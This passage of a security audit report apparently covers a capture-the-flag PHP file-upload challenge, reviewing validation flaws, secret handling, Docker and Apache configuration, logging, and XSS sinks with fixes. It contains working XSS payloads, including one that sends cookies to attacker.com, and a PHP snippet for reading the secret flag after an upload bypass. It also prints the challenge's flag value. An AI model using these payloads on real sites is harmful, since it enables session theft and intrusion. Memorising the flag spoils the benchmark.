- **Malware Distribution:** Attacker uploads malware disguised as JPEG, shares link
- **Phishing:** Attacker uploads HTML phishing page, shares link
- **No Access Controls:** No authentication, no authorization, no file ownership checks

**Directory Listing Risk:**

The Apache configuration does not explicitly disable directory listings. Depending on default Apache settings, accessing `/upload/` might reveal all uploaded filenames. The current configuration:
```apache
DocumentRoot /var/www/html
```

No `<Directory /var/www/html/upload/>` block exists with `Options -Indexes`. If Apache's default configuration allows directory listings, an attacker can:
1. Access `http://[host]:44555/upload/`
2. View complete list of uploaded files
3. Download all files without authentication

**File Execution Risk:**

If Apache is misconfigured to execute PHP files from the upload directory (no `.htaccess` protection, no handler restrictions), then:
- `http://[host]:44555/upload/shell.php.jpg` might execute as PHP
- `http://[host]:44555/upload/webshell.php` would definitely execute

Currently, no `.htaccess` file exists in `/var/www/html/upload/` to prevent PHP execution via:
```apache
php_flag engine off
```

### Internal Service Communication

**Status: NOT APPLICABLE - Single-Service Architecture**

This is a monolithic single-container application with no internal service communication:
- No microservices architecture
- No service mesh (Istio, Linkerd)
- No inter-service HTTP calls
- No message queues (RabbitMQ, Kafka)
- No gRPC or REST API calls between services
- No internal service discovery
- No internal authentication between services (mTLS, service tokens)

**Security Implication:** There are no trust boundaries between internal services to analyze or exploit. All functionality exists within a single Apache/PHP process.

### Input Validation Patterns

**Validation Strategy: Minimal Whitelist Approach (Weakly Implemented)**

The application attempts a whitelist validation strategy for file uploads but implements it incorrectly:

**File Extension Whitelist (Intended):**
- **Allowed Extensions:** `.jpg`, `.jpeg`
- **Implementation:** `strpos($filename, '.jpg') !== false || strpos($filename, '.jpeg') !== false`
- **Weakness:** Checks for substring presence, not suffix matching
- **Correct Implementation Should Be:**
  ```php
  $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
  return in_array($ext, ['jpg', 'jpeg'], true);
  ```

**File Type Whitelist (Magic Bytes):**
- **Allowed Magic Number:** `FFD8` (JPEG signature)
- **Implementation:** Reads first 2 bytes from uploaded file
- **Weakness:** Only validates file header, not footer (JPEG files should end with `FFD9`)
- **Missing:** No validation of full JPEG structure, no verification that file is actually a valid image

**Path Traversal Protection:**
```php
$full_path = $path . basename($_FILES["userfile"]["name"]);
```
Uses `basename()` which removes directory components like `../`, preventing classic path traversal. **This is implemented correctly.**

**Missing Input Validation:**

The following critical validations are **completely absent**:

1. **Filename Character Whitelist:** No restriction on special characters
   - Allows: `<script>alert(1)</script>.jpg`, `"; DROP TABLE users; --.jpg`
   - Should restrict to: `[a-zA-Z0-9_-.]` only

2. **Filename Length Limit:** No maximum length check
   - Could exceed filesystem limits (typically 255 characters)
   - Could cause buffer overflows in legacy systems

3. **File Size Validation:** No application-level size checks
   - Relies on PHP defaults only (`upload_max_filesize = 2M`)
   - No protection against disk exhaustion attacks

4. **MIME Type Validation:** No `$_FILES["userfile"]["type"]` verification
   - User-controlled MIME type is not validated
   - Could upload `text/html` and bypass some protections

5. **Content-Type Header Validation:** No HTTP header inspection
   - No verification that Content-Type matches file extension
   - No check for multipart/form-data boundary exploits

6. **File Content Deep Inspection:** No antivirus scanning
   - No malware detection
   - No steganography detection
   - No embedded script detection beyond first 2 bytes

7. **Unicode Normalization:** No Unicode attack prevention
   - Filenames could use Unicode tricks to hide malicious extensions
   - Example: `file.php` with Unicode right-to-left override characters

**Input Validation Security Score: 2/10 (Critical Gaps)**

### Background Processing

**Status: NOT APPLICABLE - No Asynchronous Job Processing**

The application performs all operations synchronously within the HTTP request/response cycle:
- No background job queues (Celery, Sidekiq, Laravel Queues)
- No asynchronous task processing
- No cron jobs or scheduled tasks
- No worker processes
- No message brokers (Redis, RabbitMQ, Kafka)

**Security Implication:** There are no background jobs with elevated privileges to analyze. All operations run with `www-data` user privileges within the Apache process handling the HTTP request.

**File Upload Processing Model:**
```
HTTP POST → Validation → move_uploaded_file() → HTTP Response
```
All steps occur synchronously within a single Apache worker process. No queuing, no delayed processing, no privilege escalation opportunities in background workers.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Status: CRITICALLY INSECURE - Hardcoded Secrets in Multiple Locations**

**Secret Inventory:**

The application contains one secret (the CTF FLAG) stored in **three different locations**, all insecure:

**Location 1: Environment Variable File**
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/.env`
**Line:** 1
```bash
FLAG="flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}"
```
**Security Issues:**
- File has `644` permissions (world-readable) - should be `600`
- Not in `.gitignore` - likely committed to version control
- Plaintext storage with no encryption
- Accessible to any process or user on host system

**Location 2: Dockerfile Hardcoded Value**
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile`
**Lines:** 13-14, 26
```dockerfile
ENV FLAG=$FLAG                                          # Line 13 - Attempts build arg
ENV FLAG="flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}"  # Line 14 - HARDCODED FALLBACK
ARG FLAG                                                # Line 26 - Build argument declaration
```

**CRITICAL SECURITY FLAW (Line 14):**
The hardcoded `ENV FLAG="flag{...}"` directive embeds the secret directly into the Docker image. This means:

1. **Permanent Image Pollution:** The secret is baked into image layers and visible via:
   ```bash
   docker history xben-067-24_php:latest
   docker inspect xben-067-24_php:latest | grep FLAG
   ```

2. **Version Control Exposure:** The Dockerfile with hardcoded secret is in git repository

3. **Secret Persistence:** Even if `.env` is deleted or build args change, line 14 hardcodes the value

4. **No Secret Rotation:** Changing the secret requires rebuilding and redistributing the image

**Location 3: Runtime Container Environment**
The FLAG is accessible at runtime through multiple methods:
```php
// Method 1: PHP getenv()
echo getenv('FLAG');

// Method 2: Reading /proc/self/environ (if accessible)
file_get_contents('/proc/self/environ');
```

**Attack Vector for Secret Exfiltration:**

If an attacker achieves Remote Code Execution (via file upload bypass):
```php
// Upload shell.php.jpg with JPEG header + this code:
<?php 
    echo "FLAG: " . getenv('FLAG');
    // Output: FLAG: flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}
?>
```

**Secret Management Best Practices (Not Implemented):**

The application should use:
1. **Secrets Management Service:** HashiCorp Vault, AWS Secrets Manager, Azure Key Vault
2. **Runtime Secret Injection:** Docker secrets, Kubernetes secrets (with encryption at rest)
3. **Least Privilege Access:** Secrets only accessible to authorized services
4. **Secret Rotation:** Automated rotation with zero-downtime deployment
5. **Audit Logging:** Track all secret access attempts
6. **Encryption at Rest:** Secrets encrypted in storage backend

**Current Secret Management Score: 0/10 (Critical Failure)**

### Configuration Security

**Docker Compose Configuration:**
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/docker-compose.yml`

```yaml
version: '3.8'
services:
  php:
    build:
      context: ./php
      args:
        - FLAG                              # Build arg from environment
    ports:
      - 80                                  # Random port mapping (currently 44555)
    healthcheck:
      test: ["CMD", "curl", "-f", "http://127.0.0.1:80/"]
      timeout: 1s
      retries: 5
      interval: 10s
```

**Security Issues in docker-compose.yml:**

1. **No Resource Limits:**
   ```yaml
   # Missing:
   deploy:
     resources:
       limits:
         memory: 256M
         cpus: '0.5'
   ```
   **Impact:** Container can consume unlimited host resources, enabling DoS

2. **No Security Options:**
   ```yaml
   # Missing:
   security_opt:
     - no-new-privileges:true
     - apparmor=docker-default
   ```
   **Impact:** Container processes can potentially escalate privileges

3. **No Read-Only Root Filesystem:**
   ```yaml
   # Missing:
   read_only: true
   tmpfs:
     - /tmp
     - /var/www/html/upload
   ```
   **Impact:** Attackers with RCE can modify any file in container

4. **No Capability Restrictions:**
   ```yaml
   # Missing:
   cap_drop:
     - ALL
   cap_add:
     - CHOWN
     - SETGID
     - SETUID
   ```
   **Impact:** Container has default capabilities, increasing attack surface

5. **Port Exposure to All Interfaces:**
   ```yaml
   ports:
     - 80  # Binds to 0.0.0.0, should be 127.0.0.1:80 if behind proxy
   ```
   **Impact:** Service directly accessible from external network

**Environment Separation:**

The application has **no environment separation**:
- No staging environment configuration
- No development vs. production configurations
- Same `.env` file used for all deployments
- No environment-specific secret management

**Secret Handling in Configuration:**

The FLAG secret is passed through:
1. `.env` file → Docker Compose build args
2. Build args → Dockerfile `ENV` directive
3. Container environment variables → Application runtime

**Problem:** Secret travels through entire build pipeline and ends up in:
- Git repository (Dockerfile)
- Docker image layers (ENV directive)
- Running container environment (accessible via `getenv()`)

**Infrastructure Configuration Security Headers:**

**Apache Configuration Analysis:**
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/apache/000-default.conf`

The configuration is critically minimal:
```apache
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
</VirtualHost>
```

**Missing Infrastructure Security Headers:**

Despite being searched for in infrastructure configuration (Nginx, Kubernetes Ingress, CDN settings), **no security header configurations were found**:

- **Strict-Transport-Security (HSTS):** NOT CONFIGURED
  - **Search locations:** Apache configs, Nginx configs, Kubernetes ingress YAML
  - **Result:** No HSTS headers found
  - **Impact:** No HTTPS enforcement (though HTTPS not configured anyway)

- **Cache-Control:** NOT CONFIGURED
  - **Search locations:** Apache configs, CDN configurations
  - **Result:** No cache control directives found
  - **Impact:** Sensitive data might be cached by browsers or proxies
  - **Risk:** Uploaded files with sensitive names cached indefinitely

The only HTTP headers present are Apache/PHP defaults:
```
Server: Apache/2.4.38 (Debian)        # Leaks version
X-Powered-By: PHP/7.1.33              # Leaks version
Content-Type: text/html; charset=UTF-8
```

**Dockerfile Security Configuration:**
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile`

```dockerfile
FROM php:7.1-apache                                     # Line 2 - EOL base image

# Debian Buster repository configuration (archived)
RUN sed -i 's/deb.debian.org/archive.debian.org/g' /etc/apt/sources.list
RUN sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list
RUN sed -i '/stretch-updates/d' /etc/apt/sources.list

RUN apt-get update && apt-get install -y curl
RUN docker-php-ext-install mysqli || true               # Line 11 - Unused extension

ENV FLAG=$FLAG                                          # Line 13
ENV FLAG="flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}"  # Line 14 - Hardcoded secret

COPY ./app /var/www/html/                               # Line 16 - Application files
COPY ./apache/000-default.conf /etc/apache2/sites-available/000-default.conf

RUN mkdir /var/www/html/upload                          # Line 19 - Upload directory
RUN chown -R www-data:www-data /var/www/html            # Line 20 - Permissive ownership

ARG FLAG                                                # Line 26
```

**Security Issues in Dockerfile:**

1. **EOL Base Image (Line 2):** `php:7.1-apache` is end-of-life, no security patches
2. **Using Archived Repositories:** Debian Buster is archived, not receiving updates
3. **Unauthenticated Repositories:** `archive.debian.org` doesn't use GPG verification for some mirrors
4. **Hardcoded Secret (Line 14):** FLAG embedded in image layers permanently
5. **Permissive File Ownership (Line 20):** www-data owns entire web root including upload directory
6. **No Security Scanning:** No `docker scan` or vulnerability analysis
7. **No Multi-Stage Build:** Single stage includes build tools in final image
8. **Running as Root:** Container runs Apache as root initially, then drops to www-data
9. **No Healthcheck in Image:** Healthcheck defined in docker-compose, not Dockerfile

### External Dependencies

**Status: Minimal External Dependencies**

**Dependency Analysis:**

The application has **no application-level dependency management**:
- No `composer.json` (PHP)
- No `package.json` (Node.js)
- No `requirements.txt` (Python)
- No `go.mod` (Go)

**Infrastructure Dependencies:**

1. **Base Docker Image:** `php:7.1-apache`
   - **Source:** Docker Hub (official image)
   - **Vulnerabilities:** Numerous CVEs in PHP 7.1 and Apache 2.4.38
   - **Verification:** No image signature verification
   - **Supply Chain Risk:** Trusts Docker Hub without verification

2. **Debian Packages (apt-get):**
   - `curl` - Used in healthcheck
   - `mysqli` extension dependencies
   - **Source:** `archive.debian.org` (archived, deprecated)
   - **Verification:** No GPG signature verification in some cases
   - **Vulnerabilities:** Buster is archived, no security updates

**External Service Dependencies:**

- **DNS:** Relies on host DNS resolution
- **APT Repositories:** `archive.debian.org` for package installation
- **Docker Hub:** For base image downloads

**Security Implications:**

1. **No Dependency Vulnerability Scanning:** No Snyk, Dependabot, or OWASP Dependency-Check
2. **No Software Bill of Materials (SBOM):** Cannot track or audit dependencies
3. **No Version Pinning:** Base image uses `php:7.1-apache` without specific digest
4. **No Supply Chain Security:** No image signing, no provenance verification
5. **Archived Package Sources:** Using Debian Buster archives with no security patches

**Third-Party Service Integrations:**

**None detected.** The application:
- Makes no external HTTP requests
- Integrates with no SaaS platforms
- Uses no external APIs
- Has no CDN integration
- Uses no external authentication providers (OAuth, SAML)
- Has no payment processor integration
- Uses no analytics services

**Security Implication:** Low risk from third-party integrations (none exist), but also no benefit from managed security services (WAF, DDoS protection, etc.)

### Monitoring & Logging

**Status: MINIMAL - Only Default Apache/PHP Logging**

**Logging Infrastructure:**

1. **Apache Access Logs:**
   - **Location:** `/var/log/apache2/access.log` (container)
   - **Format:** Default Apache Combined Log Format
   - **Sample:**
     ```
     10.89.75.3:80 127.0.0.1 - - [30/Oct/2025:21:10:48 +0000] "GET / HTTP/1.1" 200 676 "-" "curl/7.64.0"
     ```
   - **Logged Information:** IP, timestamp, request method, URL, status code, user-agent
   - **Sensitive Data Risk:** Uploaded filenames appear in logs if accessed directly

2. **Apache Error Logs:**
   - **Location:** `/var/log/apache2/error.log` (container)
   - **Content:** PHP errors, Apache errors, startup messages
   - **Security Risk:** May leak filesystem paths, PHP version info

3. **Docker Container Logs:**
   - **Access:** `docker logs xben-067-24_php_1`
   - **Content:** Apache access/error logs streamed to stdout/stderr
   - **Retention:** Depends on Docker logging driver (default: json-file)

**No Application-Level Logging:**

The PHP application code has **zero structured logging**:
- No `error_log()` calls
- No logging framework (Monolog, etc.)
- No audit trail of file uploads (who, when, what)
- No security event logging

**File Upload Logging Gap:**

When a file is uploaded, **no log entry records**:
- Original filename
- Upload timestamp
- Uploader IP address (only in Apache access log)
- File size
- Validation results
- Success/failure reason

**Security Event Monitoring:**

**Completely absent:**
- No intrusion detection system (IDS)
- No Web Application Firewall (WAF) logs
- No file integrity monitoring (FIM)
- No anomaly detection
- No rate limit violation alerts
- No failed upload attempt tracking
- No XSS attempt detection
- No RCE attempt logging

**Sensitive Data in Logs:**

**Potential Exposure:**
1. **Filenames:** Uploaded filenames appear in Apache access logs when files are accessed
   - Risk: If filename contains PII (e.g., `john_doe_ssn_123456789.jpg`), it's logged
2. **File Paths:** PHP error logs may expose `/var/www/html/upload/` paths
3. **Error Messages:** PHP notices/warnings may leak sensitive information

**No Log Sanitization:**
- No PII redaction
- No secret scrubbing (FLAG could appear in logs if echoed)
- No log format validation

**Observability Assessment:**

**Metrics Collection:** NONE
- No Prometheus exporters
- No StatsD integration
- No performance metrics
- No resource utilization tracking

**Application Performance Monitoring (APM):** NONE
- No New Relic, DataDog, or Sentry integration
- No distributed tracing
- No error aggregation

**Healthcheck:**
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://127.0.0.1:80/"]
  timeout: 1s
  retries: 5
  interval: 10s
```
**Limited Value:** Only checks if Apache responds to HTTP requests, not application health

**Centralized Logging:** NONE
- No log aggregation (ELK stack, Splunk, etc.)
- No log forwarding
- Logs stay in container, lost when container is destroyed

**Log Retention:**
- Docker default: Logs stored until container removal
- No backup or archival
- No compliance with data retention requirements

**Security Event Response:**

**No SIEM Integration:**
- No Security Information and Event Management system
- No automated alerting on suspicious activities
- No correlation of events across systems

**Logging Security Score: 1/10 (Critical Deficiencies)**

---

## 7. Overall Codebase Indexing

### Directory Structure and Organization

The XBEN-067-24 codebase is organized as a minimal PHP file upload application with Docker containerization, occupying a flat directory structure with clear separation between infrastructure configuration and application logic. The total codebase consists of **7 files** (excluding empty output directories) with a combined total of approximately **150 lines** of configuration and code.

**Root Directory Structure:**
```
/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/
├── benchmark.json                    # CTF metadata (174 bytes)
├── docker-compose.yml                # Container orchestration (10 lines)
├── Makefile                          # Build automation (1 line, includes ../common.mk)
├── .env                              # Environment secrets (1 line, FLAG definition)
├── outputs/                          # Results directory
│   ├── scans/                        # Empty - intended for security scan results
│   └── schemas/                      # Empty - intended for API schema extraction
└── php/                              # Application container context
    ├── Dockerfile                    # Container image definition (26 lines)
    ├── apache/                       # Web server configuration
    │   └── 000-default.conf          # Apache VirtualHost config (4 lines)
    └── app/                          # PHP application source
        ├── index.php                 # Main application logic (51 lines)
        └── security.php              # Validation functions (14 lines)
```

**Container Runtime Structure (Deployed):**
```
/var/www/html/                        # Apache DocumentRoot (www-data:www-data)
├── index.php                         # Application entry point (copied from php/app/)
├── security.php                      # Validation module (copied from php/app/)
└── upload/                           # User upload directory (www-data:www-data, 755)
    └── uploaded.txt                  # Last uploaded filename tracker (created at runtime)
```

**Organizational Patterns and Conventions:**

1. **Infrastructure-as-Code Approach:** Docker and Docker Compose define the entire runtime environment, with no manual server configuration required. The `Makefile` abstracts common operations by including `../common.mk`, suggesting this is part of a larger CTF benchmark suite with standardized build targets.

2. **Separation of Concerns:** The codebase cleanly separates:
   - **Build Orchestration:** `Makefile`, `docker-compose.yml`
   - **Container Definition:** `php/Dockerfile`
   - **Web Server Config:** `php/apache/000-default.conf`
   - **Application Logic:** `php/app/index.php` (presentation + business logic combined)
   - **Security Functions:** `php/app/security.php` (validation logic isolated)

3. **Minimal Abstraction:** No framework, no MVC pattern, no dependency injection - just procedural PHP with function calls. This "bare metal" approach eliminates framework-level security protections (CSRF tokens, ORM parameterization, template auto-escaping) but also reduces attack surface from framework vulnerabilities.

4. **CTF Benchmark Structure:** The presence of `benchmark.json` with `canary-prefix` and `canary-suffix` GUIDs, combined with the `FLAG` environment variable and standardized `outputs/` directory, indicates this is a **controlled vulnerable application** designed for security training or Capture The Flag competitions. The standardized structure suggests automated evaluation tooling likely exists.

**Impact on Security Component Discoverability:**

The minimal structure makes security analysis straightforward but reveals critical gaps:

- **Authentication Discovery:** Instant - grep for `session_start`, `password_verify`, `login` yields zero results. No authentication exists.
- **Entry Point Enumeration:** Trivial - only one `.php` file in the application directory serves HTTP requests (`index.php`). No routing framework to parse, no hidden admin panels.
- **Validation Logic Location:** Explicit - isolated in `security.php` with only two functions. Entire security perimeter analyzable in 14 lines.
- **Secret Location:** Immediately obvious - `FLAG` appears in both `.env` and `Dockerfile` in first-level directories.
- **Database Access:** None found - no `config/database.php`, no ORM models, no migration files. Application is purely filesystem-based.

**Tooling and Build Conventions:**

1. **Docker-Based Build System:**
   - **Build Command:** `docker-compose build` (likely wrapped in Makefile targets)
   - **Run Command:** `docker-compose up`
   - **Port Assignment:** Dynamic port allocation (currently 44555, but may change)
   - **No Multi-Stage Builds:** Single-stage Dockerfile includes build and runtime in same layer

2. **No Code Generation:** No code generation tools detected (no Swagger Codegen, no ORM model generators, no GraphQL schema builders). All code is hand-written.

3. **No Testing Framework:** No PHPUnit, no test directories, no `tests/` folder. Zero automated testing infrastructure.

4. **No Linting/Quality Tools:**
   - No `.eslintrc`, `.phpcs.xml`, or code quality configurations
   - No pre-commit hooks
   - No CI/CD pipeline definitions (no `.github/workflows/`, `.gitlab-ci.yml`, etc.)
   - No static analysis tools (no Psalm, PHPStan configurations)

5. **No Dependency Management:** No `composer.json`, `package.json`, or other dependency manifests. Application uses only PHP standard library functions.

**Security Implications of Directory Structure:**

1. **Web Root Contains Application Code:** The `/var/www/html/` directory contains both served files AND the upload directory. Correct architecture would place application code outside DocumentRoot:
   ```
   /var/www/
   ├── html/          # Public files only
   └── app/           # Application logic (not web-accessible)
   ```

2. **Upload Directory Inside Web Root:** `/var/www/html/upload/` is directly web-accessible, enabling uploaded files to be executed if they bypass validation. Best practice: store uploads outside web root and serve through a PHP script with proper access controls.

3. **No .htaccess Protection:** No `.htaccess` file in `/var/www/html/upload/` to prevent PHP execution:
   ```apache
   # Missing upload/.htaccess
   php_flag engine off
   ```

4. **Configuration Files in Repository Root:** `.env` file sits in repository root, likely committed to version control (no `.gitignore` found). Should be in `.gitignore` and stored securely outside repository.

5. **Flat Application Structure:** No `src/`, `lib/`, `includes/` organization. Single-file (`index.php`) monolith makes security review fast but also makes code harder to test and modularize.

**Discoverability Impact Score: 8/10 (Easy to Analyze)**

The minimal structure makes security analysis efficient - all critical components are in predictable locations with no framework complexity to navigate. However, this simplicity also means **no security components exist to discover** (no auth, no authorization, no logging framework, no security middleware). From a penetration testing perspective, this flat structure enables rapid vulnerability identification but also indicates a lack of defense-in-depth architecture.

---

## 8. Critical File Paths

All file paths referenced in this security analysis, categorized by security domain:

### Configuration Files
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/docker-compose.yml` - Container orchestration, port exposure, build arguments
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile` - Container build definition, **hardcoded FLAG secret (line 14)**, base image selection, file permissions
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/.env` - Environment variables, **FLAG secret storage (line 1)**, not in .gitignore
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/benchmark.json` - CTF metadata, challenge description

### Authentication & Authorization
- **None** - No authentication or authorization code exists in codebase

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php` - Main application entry point, file upload handler (lines 31-48), GET request handler (lines 7-20), **XSS vulnerabilities (lines 15, 41)**, **CSRF vulnerability (no tokens)**

### Data Models & DB Interaction
- **None** - No database usage, no ORM models, no SQL queries

### Dependency Manifests
- **None** - No composer.json, package.json, or dependency management files

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile` - **Line 14: Hardcoded FLAG in ENV directive (CRITICAL)**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/.env` - **Line 1: FLAG in plaintext (HIGH)**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php` - Validation functions (weak extension check lines 10-13, magic byte check lines 3-8)

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php` - **Lines 10-13: Weak extension validation using strpos() (CRITICAL)**, **Lines 3-8: Insufficient magic number validation**, **Line 4: fopen() with potential SSRF vector**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php` - **Line 33: basename() path traversal protection (MODERATE)**, **Lines 34-35: Validation function calls**, **Line 36: File upload execution**

### Logging & Monitoring
- **None** - No application-level logging, relies on Apache default logs

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/apache/000-default.conf` - **Lines 1-4: Minimal Apache VirtualHost configuration, no security headers, no upload directory protection**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile` - **Line 2: EOL PHP 7.1 base image**, **Lines 4-6: Deprecated Debian Buster repositories**, **Line 11: Unused mysqli extension**, **Line 19: Upload directory creation**, **Line 20: Permissive www-data ownership**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/docker-compose.yml` - **Lines 5-6: Build args with FLAG**, **Lines 7-8: Port exposure (80 → random host port)**, **Lines 9-13: Healthcheck configuration**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/Makefile` - Build automation (includes ../common.mk)

### CTF Flag Storage
- **Container Runtime Environment Variable:** `FLAG` accessible via `getenv('FLAG')` in PHP
- **Docker Image Layers:** FLAG embedded in image metadata via Dockerfile ENV directive
- **Filesystem:** No flag files (no /flag.txt, /FLAG, etc.)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile` - **Lines 13-14, 26: FLAG handling in build process**

### XSS Vulnerability Locations
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php` - **Line 15: Stored XSS in img src attribute (CRITICAL)**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php` - **Line 41: Reflected XSS in anchor href attribute (HIGH)**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php` - **Lines 12-13: Unsanitized file read for display**

### File Upload Vulnerability Locations
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php` - **Lines 10-13: Extension validation bypass vector**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php` - **Lines 3-8: Magic byte validation bypass vector**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php` - **Lines 31-48: File upload processing pipeline**

### SSRF Vulnerability Locations
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php` - **Line 4: fopen() with user-influenced filename (MEDIUM if allow_url_fopen enabled)**

---

## 9. XSS Sinks and Render Contexts

### Network Surface Scope Confirmation
All XSS sinks listed below are in **network-accessible web application pages** served via HTTP on port 80. No local-only scripts, build tools, or non-web components are included.

### Identified XSS Vulnerabilities

#### **XSS Sink #1: Stored XSS - HTML Attribute Context (CRITICAL)**

**Sink Type:** Stored Cross-Site Scripting (Persistent)
**Render Context:** HTML `<img>` tag `src` attribute
**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php`
**Line Number:** 15
**Severity:** CRITICAL

**Vulnerable Code:**
```php
if (file_exists($uploaded_path)) {
    $fd = fopen($uploaded_path, 'r');       // Line 12
    $filename = fgets($fd);                  // Line 13 - Reads user-controlled filename
    fclose($fd);                             // Line 14
    echo "<img src=\"upload/" . $filename . "\">"; // Line 15 - VULNERABLE OUTPUT
}
```

**User Input Source:**
1. User uploads file with malicious filename via POST to `/index.php`
2. Filename stored in `/var/www/html/upload/uploaded.txt` (written at line 38)
3. On subsequent page loads, filename read from `uploaded.txt` (line 13)
4. Filename directly concatenated into HTML without encoding (line 15)

**Data Flow:**
```
User uploads "payload.jpg" with filename: "><script>alert(document.domain)</script><img src="x.jpg
                    ↓
$_FILES["userfile"]["name"] contains malicious filename
                    ↓
Line 38: fwrite($fd, $_FILES["userfile"]["name"]) - Stores to uploaded.txt
                    ↓
Next HTTP GET request to /index.php
                    ↓
Line 13: $filename = fgets($fd) - Reads malicious filename
                    ↓
Line 15: echo "<img src=\"upload/" . $filename . "\">" - Injects into HTML
                    ↓
Rendered HTML: <img src="upload/"><script>alert(document.domain)</script><img src="x.jpg">
                    ↓
Script executes in victim's browser
```

**Attack Payloads:**

1. **HTML Attribute Breakout:**
   ```
   Filename: " onerror="alert(document.cookie)
   Rendered: <img src="upload/" onerror="alert(document.cookie)">
   ```

2. **JavaScript Protocol:**
   ```
   Filename: javascript:alert(1)//
   Rendered: <img src="upload/javascript:alert(1)//">
   ```

3. **Double Quote Injection:**
   ```
   Filename: "><svg onload=alert(1)><img src="
   Rendered: <img src="upload/"><svg onload=alert(1)><img src="">
   ```

4. **Cookie Theft:**
   ```
   Filename: " onerror="fetch('https://attacker.com?c='+document.cookie)
   Rendered: <img src="upload/" onerror="fetch('https://attacker.com?c='+document.cookie)">
   ```

**Impact:**
- **Stored XSS:** Payload persists in `uploaded.txt`, affects all subsequent visitors
- **Cookie Theft:** Can exfiltrate session cookies (none exist, but demonstrates risk)
- **Account Takeover:** If authentication existed, attacker could steal credentials
- **Defacement:** Can inject arbitrary HTML/JavaScript to modify page
- **Phishing:** Can overlay fake login forms
- **Keylogging:** Can inject keylogger to capture user input

**Correct Remediation:**
```php
echo "<img src=\"upload/" . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8') . "\">";
```

---

#### **XSS Sink #2: Reflected XSS - HTML Attribute Context (HIGH)**

**Sink Type:** Reflected Cross-Site Scripting (Non-Persistent)
**Render Context:** HTML `<a>` tag `href` attribute
**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php`
**Line Number:** 41
**Severity:** HIGH

**Vulnerable Code:**
```php
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $full_path)) {
    $uploaded_path = "/var/www/html/upload/uploaded.txt";
    $fd = fopen($uploaded_path, 'w');
    fwrite($fd, $_FILES["userfile"]["name"]);
    fclose($fd);
    $partial_path = "upload/" . $_FILES["userfile"]["name"]; // Line 40 - User-controlled
    echo "File is valid, and was successfully uploaded <a href='$partial_path'>here</a>.\n"; // Line 41 - VULNERABLE
```

**User Input Source:**
- `$_FILES["userfile"]["name"]` - User-controlled filename from multipart/form-data POST request
- Directly concatenated into `href` attribute without sanitization

**Data Flow:**
```
POST /index.php with filename: javascript:alert(1)//
                    ↓
$_FILES["userfile"]["name"] = "javascript:alert(1)//"
                    ↓
Line 40: $partial_path = "upload/" . $_FILES["userfile"]["name"]
                    ↓
Line 41: echo "<a href='$partial_path'>here</a>"
                    ↓
Rendered HTML: <a href='upload/javascript:alert(1)//'>here</a>
                    ↓
User clicks link → JavaScript executes
```

**Attack Payloads:**

1. **JavaScript Protocol:**
   ```
   Filename: javascript:alert(document.domain)//
   Rendered: <a href='upload/javascript:alert(document.domain)//'>here</a>
   ```

2. **Data URI with HTML:**
   ```
   Filename: data:text/html,<script>alert(1)</script>
   Rendered: <a href='upload/data:text/html,<script>alert(1)</script>'>here</a>
   ```

3. **Attribute Breakout:**
   ```
   Filename: ' onclick='alert(1)' x='
   Rendered: <a href='upload/' onclick='alert(1)' x=''>here</a>
   ```

4. **VBScript (IE only, legacy):**
   ```
   Filename: vbscript:msgbox(1)
   Rendered: <a href='upload/vbscript:msgbox(1)'>here</a>
   ```

**Impact:**
- **Reflected XSS:** Executes when upload success message is displayed
- **Click-Based Exploitation:** Requires victim to click "here" link
- **Phishing:** Can redirect to attacker-controlled site
- **Social Engineering:** Success message makes user trust the link

**Correct Remediation:**
```php
$partial_path = "upload/" . htmlspecialchars($_FILES["userfile"]["name"], ENT_QUOTES, 'UTF-8');
